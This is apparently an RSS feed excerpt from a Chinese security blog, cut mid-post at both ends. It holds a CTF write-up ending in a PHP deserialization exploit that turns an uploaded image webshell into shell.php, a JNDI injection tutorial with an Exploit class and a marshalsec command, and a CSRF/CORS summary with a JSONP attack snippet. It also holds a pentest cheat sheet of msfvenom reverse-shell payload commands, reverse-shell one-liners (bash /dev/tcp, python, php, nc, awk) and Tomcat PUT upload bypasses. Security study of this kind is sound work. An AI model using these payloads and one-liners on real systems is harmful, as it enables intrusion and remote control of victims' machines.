&lt;p&gt;正好有一个 &lt;code&gt;Profile.php&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function __get($name)
{
    return $this-&amp;gt;except[$name];
}

public function __call($name, $arguments)
{
    if($this-&amp;gt;{$name}){
        $this-&amp;gt;{$this-&amp;gt;{$name}}($arguments);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么就可以通过 &lt;code&gt;__call&lt;/code&gt; 去调用其他的方法了，这里我们选择&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function upload_img(){
    if($this-&amp;gt;checker){
        if(!$this-&amp;gt;checker-&amp;gt;login_check()){
            $curr_url=&quot;http://&quot;.$_SERVER[&apos;HTTP_HOST&apos;].$_SERVER[&apos;SCRIPT_NAME&apos;].&quot;/index&quot;;
            $this-&amp;gt;redirect($curr_url,302);
            exit();
        }
    }

    if(!empty($_FILES)){
        $this-&amp;gt;filename_tmp=$_FILES[&apos;upload_file&apos;][&apos;tmp_name&apos;];
        $this-&amp;gt;filename=md5($_FILES[&apos;upload_file&apos;][&apos;name&apos;]).&quot;.png&quot;;
        $this-&amp;gt;ext_check();
    }
    if($this-&amp;gt;ext) {
        if(getimagesize($this-&amp;gt;filename_tmp)) {
            @copy($this-&amp;gt;filename_tmp, $this-&amp;gt;filename);
            @unlink($this-&amp;gt;filename_tmp);
            $this-&amp;gt;img=&quot;../upload/$this-&amp;gt;upload_menu/$this-&amp;gt;filename&quot;;
            $this-&amp;gt;update_img();
        }else{
            $this-&amp;gt;error(&apos;Forbidden type!&apos;, url(&apos;../index&apos;));
        }
    }else{
        $this-&amp;gt;error(&apos;Unknow file type!&apos;, url(&apos;../index&apos;));
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;checker&lt;/code&gt; 属性可控，&lt;code&gt;ext&lt;/code&gt; 属性可控&lt;/p&gt;
&lt;p&gt;进入到 &lt;code&gt;@copy($this-&amp;gt;filename_tmp, $this-&amp;gt;filename);&lt;/code&gt; 即可将图片马改名&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这题复盘的时候比较玄学，挺难成功的&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;调试过程&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/posts/4e7aaa07/1585910353276.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后即可修改文件名&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/posts/4e7aaa07/1585910388138.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
namespace app\web\controller;
use think\Controller;

class Register
{
    public $checker;
    public $registed = false;
    public function __construct($checker){
        $this-&amp;gt;checker = $checker;
    }
}

class Profile
{   # 先上传一个图片马shell.png，保存路径为/upload/md5($_SERVER[&apos;REMOTE_ADDR&apos;])/md5($_FILES[&apos;upload_file&apos;][&apos;name&apos;]).&quot;.png&quot;
    public $filename_tmp = &apos;./upload/2e25bf05f23b63a5b1f744933543d723/00bf23e130fa1e525e332ff03dae345d.png&apos;;
    public $filename = &apos;./upload/2e25bf05f23b63a5b1f744933543d723/shell.php&apos;;
    public $ext = true;
    public $except = array(&apos;index&apos; =&amp;gt; &apos;upload_img&apos;);
}

$register = new Register(new Profile());
echo urlencode(base64_encode(serialize($register)));
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>jndi入门</title><link>https://rayepeng.net/posts/jndi%E5%85%A5%E9%97%A8/</link><guid isPermaLink="true">https://rayepeng.net/posts/jndi%E5%85%A5%E9%97%A8/</guid><pubDate>Sun, 22 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;基本概念&lt;/h2&gt;
&lt;p&gt;JNDI(Java Naming and Directory Interface),名为 Java命名和目录接口，JNDI是Java API，允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中，例如远程方法调用（RMI），公共对象请求代理体系结构（CORBA），轻型目录访问协议（LDAP）或域名服务（DNS）。放两张直观的图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;从图中可以看出，JNDI相当于是更进一步的封装&lt;/p&gt;
&lt;p&gt;JNDI自身并不区分客户端和服务器端，也不具备远程能力，但是被其协同的一些其他应用一般都具备远程能力，JNDI在客户端和服务器端都能够进行一些工作，客户端上主要是进行各种访问，查询，搜索，而服务器端主要进行的是帮助管理配置，也就是各种bind。比如在RMI服务器端上可以不直接使用Registry进行bind，而使用JNDI统一管理，当然JNDI底层应该还是调用的Registry的bind，但好处JNDI提供的是统一的配置接口；在客户端也可以直接通过类似URL的形式来访问目标服务，&lt;/p&gt;
&lt;h2&gt;示例&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;/**
 * @description:
 * @author: Pxy
 * @create: 2020-03-22 16:34
 **/






public class test {
    public static void initPerson() throws Exception{
        //配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息，会出现NoInitialContextException异常
        LocateRegistry.createRegistry(3001);
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY, &quot;com.sun.jndi.rmi.registry.RegistryContextFactory&quot;);
        System.setProperty(Context.PROVIDER_URL, &quot;rmi://localhost:3001&quot;);
        ////初始化
        InitialContext ctx = new InitialContext();
        //实例化person对象
        Person p = new Person();
        p.setName(&quot;pxy&quot;);
        p.setPassword(&quot;12345&quot;);
        //person对象绑定到JNDI服务中，JNDI的名字叫做：person，即我们可以通过person键值，来对Person对象进行索引
        ctx.bind(&quot;person&quot;, p);
        ctx.close();

    }
    public static void findPerson() throws Exception{

        //因为前面已经将JNDI工厂和JNDI的url和端口已经添加到System对象中，这里就不用在绑定了
        InitialContext ctx = new InitialContext();
        //通过lookup查找person对象
        Person person = (Person) ctx.lookup(&quot;person&quot;);
        System.out.println(person.toString());

//        ctx.lookup(&quot;rmi://127.0.0.1:1099/Exploit&quot;);
        ctx.close();
    }
    public static void main(String[] args) throws Exception {
        initPerson();
        findPerson();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先生成一个工厂，然后将对象绑定上，再去访问&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584867587547.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;JNDI协议动态转换&lt;/h2&gt;
&lt;p&gt;上面的Demo里面，在初始化就预先指定了其上下文环境(RMI),但是在调用 lookup() 时，是可以使用带 URI 动态的转换上下文环境，例如上面已经设置了当前上下文会访问 RMI 服务，那么可以直接使用 RMi的 URI 格式去&lt;strong&gt;转换&lt;/strong&gt;(该变)上下文环境，使之访问 RMI 服务上的绑定对象：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Person person = (Person) ctx.lookup(&quot;rmi://localhost:3001/person&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;JNDI注入&lt;/h2&gt;
&lt;p&gt;那么如果 &lt;code&gt;lookup&lt;/code&gt; 的参数可控呢？&lt;/p&gt;
&lt;p&gt;比如将其改为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ctx.lookup(&quot;rmi://127.0.0.1:1099/Exploit&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Exploit.java&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * @description:
 * @author: Pxy
 * @create: 2020-03-22 16:37
 **/
public class Exploit {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {&quot;calc.exe&quot;};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编译好之后，放到一个web目录下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584867473029.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后开启RMI服务&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;java.exe -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8002/#Exploit 1099
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584867499037.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;运行即可弹出计算器&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584867538545.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584867555946.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在调试的时候遇到了一个问题，java版本不兼容，由于我电脑上存在java7和java8，会报错&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584867717633.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/22489398/unsupported-major-minor-version-52-0&quot;&gt;https://stackoverflow.com/questions/22489398/unsupported-major-minor-version-52-0&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;spring JNDI注入&lt;/h2&gt;
&lt;p&gt;利用链：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;JtaTransactionManager&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584868292042.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;跟进 &lt;code&gt;initUserTransactionAndTransactionManager&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584874126510.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;继续跟进 &lt;code&gt;lookupUserTransaction&lt;/code&gt; 方法&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584874158465.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看到调用了lookup,而且我们可以看到整个调用链只要我们可控&lt;code&gt;userTransactionName&lt;/code&gt;就可以,&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584874198634.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;调用链比较简单，最后控制属性即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>CSRF相关总结</title><link>https://rayepeng.net/posts/csrf%E7%9B%B8%E5%85%B3%E6%80%BB%E7%BB%93/</link><guid isPermaLink="true">https://rayepeng.net/posts/csrf%E7%9B%B8%E5%85%B3%E6%80%BB%E7%BB%93/</guid><pubDate>Thu, 19 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;刚开始想写这篇文章的时候有点纠结分类，感觉归类到CTF不是很好，因为在CTF中就没遇到过，归类到渗透测试呢，又感觉不太对23333，算了还是丢到渗透测试吧&lt;/p&gt;
&lt;h2&gt;同源策略(SOP)&lt;/h2&gt;
&lt;p&gt;SOP影响范围包括：普通的HTTP请求、XMLHttpRequest、XSLT、XBL。&lt;/p&gt;
&lt;p&gt;同源是指，&lt;strong&gt;域名，协议，端口相同&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;跨域的种类&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;协议不同&lt;/li&gt;
&lt;li&gt;端口不同&lt;/li&gt;
&lt;li&gt;主域名不同&lt;/li&gt;
&lt;li&gt;子域名不同&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;允许跨域的标签&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;...&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;img src=&quot;...&quot;&amp;gt;
&amp;lt;video src=&quot;...&quot;&amp;gt;&amp;lt;/video&amp;gt;
&amp;lt;audio src=&quot;...&quot;&amp;gt;&amp;lt;/audio&amp;gt;
&amp;lt;embed src=&quot;...&quot;&amp;gt;
&amp;lt;frame src=&quot;...&quot;&amp;gt;
&amp;lt;iframe src=&quot;...&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;...&quot;&amp;gt;
&amp;lt;applet code=&quot;...&quot;&amp;gt;&amp;lt;/applet&amp;gt;
&amp;lt;object data=&quot;...&quot; &amp;gt;&amp;lt;/object&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同源策略虽然感觉很陌生，但确实前端的基石，地位类似于在牛顿定律在力学中的地位&lt;/p&gt;
&lt;p&gt;试想没有同源策略的话，那么任何一个网页都可以随意操控其他网页的数据，那真的是web世界的灾难。就像牛顿定律如果失效，估计地球都不知道怎么绕太阳转了&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重点：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;跨域并不是请求发不出去，请求能发出去，服务端能收到请求并正常返回结果，只是结果被浏览器拦截了&lt;/strong&gt;。你可能会疑问明明通过表单的方式可以发起跨域请求，为什么 Ajax 就不会?因为归根结底，跨域是为了阻止用户读取到另一个域名下的内容，Ajax 可以获取响应，浏览器认为这不安全，所以拦截了响应。但是表单并不会获取新的内容，所以可以发起跨域请求。同时也说明了跨域并不能完全阻止 CSRF，因为请求毕竟是发出去了。&lt;/p&gt;
&lt;h2&gt;如何跨域？&lt;/h2&gt;
&lt;p&gt;跨域是必须的，因为同源策略的限制太严格了，子域名居然也和域名不同源！&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;设置window.domain&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;浏览器允许通过设置 &lt;code&gt;document.domain&lt;/code&gt; 来共享cookie&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;cookie本身的domain属性&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;cookie本身可以设置 &lt;code&gt;domain&lt;/code&gt; 属性，指定Cookie的所属域名为一级域名，比如&lt;code&gt;.example.com&lt;/code&gt;。那么二级和三级域名也可以读取到cookie&lt;/p&gt;
&lt;h3&gt;jsonp跨域&lt;/h3&gt;
&lt;p&gt;声明一个回调函数，其函数名(如show)当做参数值，要传递给跨域请求数据的服务器，函数形参为要获取目标数据(服务器返回的data)。&lt;/p&gt;
&lt;p&gt;创建一个&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;标签，把那个跨域的API数据接口地址，赋值给script的src,还要在这个地址中向服务器传递该函数名（可以通过问号传参:?callback=show）。&lt;/p&gt;
&lt;p&gt;服务器接收到请求后，需要进行特殊的处理：把传递进来的函数名和它需要给你的数据拼接成一个字符串,例如：传递进去的函数名是show，它准备好的数据是&lt;code&gt;show(&apos;我不爱你&apos;)&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;最后服务器把准备的数据通过HTTP协议返回给客户端，客户端再调用执行之前声明的回调函数（show），对返回的数据进行操作。&lt;/p&gt;
&lt;p&gt;一个典型的jsonp攻击的代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;
function wooyun(v){
    alert(v.username);
}
&amp;lt;/script&amp;gt;
&amp;lt;script src=&quot;http://js.login.360.cn/?o=sso&amp;amp;m=info&amp;amp;func=wooyun&quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发送请求过去之后，服务端返回了数据，然后就被弹出来了&lt;/p&gt;
&lt;p&gt;遇到过的一个CTF题目&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script/src=&amp;amp;unit=https://www.google.com/complete/search?client=chrome&amp;amp;q=hello&amp;amp;callback=alert&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;防御jsonp攻击&lt;/h4&gt;
&lt;p&gt;验证 JSON 文件调用的来源（ Referer ）。这个方案是主要利用了 &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; 远程加载 JSON 文件时会发送 Referer ，在网站输出 JSON 数据时判断 Referer 是不是白名单合法的就可以进行防御！这个方法是可行的&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;正则过滤不严谨&lt;/li&gt;
&lt;li&gt;空referer&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;CORS 跨域资源共享&lt;/h3&gt;
&lt;p&gt;允许浏览器向跨源服务器，发出&lt;a href=&quot;http://www.ruanyifeng.com/blog/2012/09/xmlhttprequest_level_2.html&quot;&gt;&lt;code&gt;XMLHttpRequest&lt;/code&gt;&lt;/a&gt;请求，从而克服了AJAX只能&lt;a href=&quot;http://www.ruanyifeng.com/blog/2016/04/same-origin-policy.html&quot;&gt;同源&lt;/a&gt;使用的限制。&lt;/p&gt;
&lt;p&gt;区分简单请求和非简单请求：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;（1) 请求方法是以下三种方法之一：

HEAD
GET
POST
（2）HTTP的头信息不超出以下几种字段：

Accept
Accept-Language
Content-Language
Last-Event-ID
Content-Type：只限于三个值application/x-www-form-urlencoded、multipart/form-data、text/plain
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;满足以上要求即是简单请求&lt;/p&gt;
&lt;p&gt;重点在最后一句：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Content-Type：只限于三个值application/x-www-form-urlencoded、multipart/form-data、text/plain&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;对于简单请求，浏览器直接发出CORS请求。具体来说，就是在头信息之中，增加一个&lt;code&gt;Origin&lt;/code&gt;字段。这个字段用来说明，本次请求来自哪个源（协议 + 域名 + 端口）。服务器根据这个值，决定是否同意这次请求。&lt;/p&gt;
&lt;p&gt;如果&lt;code&gt;Origin&lt;/code&gt;指定的域名在许可范围内，服务器返回的响应，会多出几个头信息字段。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Access-Control-Allow-Origin: http://api.bob.com
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: FooBar
Content-Type: text/html; charset=utf-8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Access-Control-Allow-Origin： 要么是 origin 的值，要么就是 *&lt;/p&gt;
&lt;p&gt;Access-Control-Allow-Credentials: 它的值是一个布尔值，表示是否允许发送Cookie。如果不要的话就删除这个字段&lt;/p&gt;
&lt;p&gt;Access-Control-Expose-Headers：如果想拿到其他字段，就必须在&lt;code&gt;Access-Control-Expose-Headers&lt;/code&gt;里面指定。&lt;/p&gt;
&lt;p&gt;CORS请求默认不发送Cookie和HTTP认证信息。如果要把Cookie发到服务器，一方面要服务器同意，指定&lt;code&gt;Access-Control-Allow-Credentials&lt;/code&gt;字段。&lt;/p&gt;
&lt;h2&gt;cookie属性&lt;/h2&gt;
&lt;p&gt;cookie的五大属性:“path, domain, expire, HttpOnly, Secure”，很少有人了解到cookie还有一个SameSite属性，这是一个专门用于防止csrf漏洞的属性。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;http-only:&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;浏览器会禁止页面中的 JavaScript 访问带有 HttpOnly 属性的 Cookie&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;domain&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;domain标识域，如域A为t1.test.com，域B为t2.test.com，那么在域A生产一个令域A和域B都能访问的cookie就要将该cookie的domain设置为.test.com&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;expire&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;过期时间&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Secure&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;当设置为true时，表示创建的 Cookie 会被以安全的形式向服务器传输，也就是只能在 HTTPS 连接中被浏览器传递到服务器端进行会话验证，如果是 HTTP 连接则不会传递该信息，所以不会被窃取到Cookie 的具体内容。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;path&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;path表示cookie所在的目录&lt;/p&gt;
&lt;h3&gt;cookie分类&lt;/h3&gt;
&lt;h2&gt;防护&lt;/h2&gt;
&lt;h3&gt;samsite属性&lt;/h3&gt;
&lt;p&gt;面试真实问题：vue开发的前后端项目如何避免CSRF？&lt;/p&gt;
&lt;p&gt;查到的解决方案：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;如果后端用Django开发，可以通过传递CSRF token过来&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>内网渗透常见知识</title><link>https://rayepeng.net/posts/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E5%B8%B8%E8%A7%81%E7%9F%A5%E8%AF%86/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E5%B8%B8%E8%A7%81%E7%9F%A5%E8%AF%86/</guid><pubDate>Wed, 18 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;msf常用命令&lt;/h2&gt;
&lt;h3&gt;msfvenom&lt;/h3&gt;
&lt;p&gt;参数：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-l&lt;/code&gt; 列出相关的值，这些值包括 &lt;code&gt;payloads, encoders, nops, platforms, archs, encrypt, formats, all&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-b&lt;/code&gt; badchar 参数被设置的时候，它的值中描述的字符将会被避免出现在 Payload 中&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-e&lt;/code&gt; 开启payload编码&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -l encoders 列出所有的编码器
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中比较强大的有：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;x86/shikata_ga_nai, cmd/powershell_base64&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-i&lt;/code&gt; 指定编码次数&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-x&lt;/code&gt; 指定一个特定的可执行文件作为模板，常与 &lt;code&gt;-k&lt;/code&gt; 联合使用，保护模板程序的功能，注入的payload作为一个新的进程运行&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-n&lt;/code&gt; 指定填充的nop数量&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;常用payload生成命令&lt;/h3&gt;
&lt;p&gt;Windows (避免坏字节的出现)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp
LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b &apos;\x00\x0a\xff&apos; -i 3 -f exe -o payload.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Android&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//需要签名
msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f apk -o payload.apk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;powershell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Linux&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f elf -o payload.elf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;php&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p php/meterpreter_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw &amp;gt; shell.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;war&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw - o payload.war
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;war包和jar包区别：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;war包是java web打的包，可以直接丢到tomcat的webapp目录下运行，jar包是java应用程序打的包，像spring boot打包就是jar，因为内置了web服务器&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;python&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p python/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Windows shellcode&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Linux shellcode&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;常用反弹shell&lt;/h2&gt;
&lt;p&gt;github项目：&lt;a href=&quot;https://github.com/m0rph-1/revshellgen&quot;&gt;https://github.com/m0rph-1/revshellgen&lt;/a&gt; 可以很方便地生成各种形式的反弹shell命令&lt;/p&gt;
&lt;p&gt;bash反弹shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;~/revshellgen (master ✔) ᐅ python revshellgen.py -i 127.0.0.1 -p 1234 -t bash

[+] Reverse shell command:

bash -i &amp;gt;&amp;amp; /dev/tcp/127.0.0.1/1234 0&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;python反弹shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python -c &apos;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;127.0.0.1&quot;,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;php反弹shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;php -r &apos;$sock=fsockopen(&quot;127.0.0.1&quot;,1234);exec(&quot;/bin/sh -i &amp;lt;&amp;amp;3 &amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3&quot;);&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;nc反弹shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ncat 127.0.0.1 1234 -e /bin/sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 127.0.0.1 1234 &amp;gt;/tmp/f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;awk反弹shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;awk &apos;BEGIN {s = &quot;/inet/tcp/0/127.0.0.1/1234&quot;; while(42) { do{ printf &quot;shell&amp;gt;&quot; |&amp;amp; s; s |&amp;amp; getline c; if(c){ while ((c |&amp;amp; getline) &amp;gt; 0) print $0 |&amp;amp; s; close(c); } } while(c != &quot;exit&quot;) close(s); }}&apos; /dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;nc-pipe&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/bin/sh | nc 127.0.0.1 1234
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;tomcat常见漏洞&lt;/h2&gt;
&lt;h3&gt;Tomcat PUT方法任意写文件漏洞（CVE-2017-12615）&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;/conf/web.xml&lt;/code&gt; 文件中的readonly为false&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;init-param&amp;gt;
    &amp;lt;param-name&amp;gt;readonly&amp;lt;/param-name&amp;gt;
    &amp;lt;param-value&amp;gt;false&amp;lt;/param-value&amp;gt;
&amp;lt;/init-param&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后就可以通过PUT方式上传文件，但是 &lt;code&gt;.jsp&lt;/code&gt; 的后缀会被限制&lt;/p&gt;
&lt;p&gt;绕过方式：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows文件名加空格 &lt;code&gt;PUT /x.jsp%20 HTTP/1.1&lt;/code&gt; 上传之后在Windows下空格会被去掉&lt;/li&gt;
&lt;li&gt;NTFS流， &lt;code&gt;PUT /x.jsp::$DATA HTTP/1.1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/&lt;/code&gt;在文件名中是非法的，也会被去除（Linux/Windows) &lt;code&gt;PUT /x.jsp/ HTTP/1.1&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;tomcat 后台部署war包漏洞&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;tomcat-users.xml&lt;/code&gt; 修改配置&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;role rolename=&quot;manager-gui&quot;/&amp;gt;
&amp;lt;role rolename=&quot;admin-gui&quot;/&amp;gt;
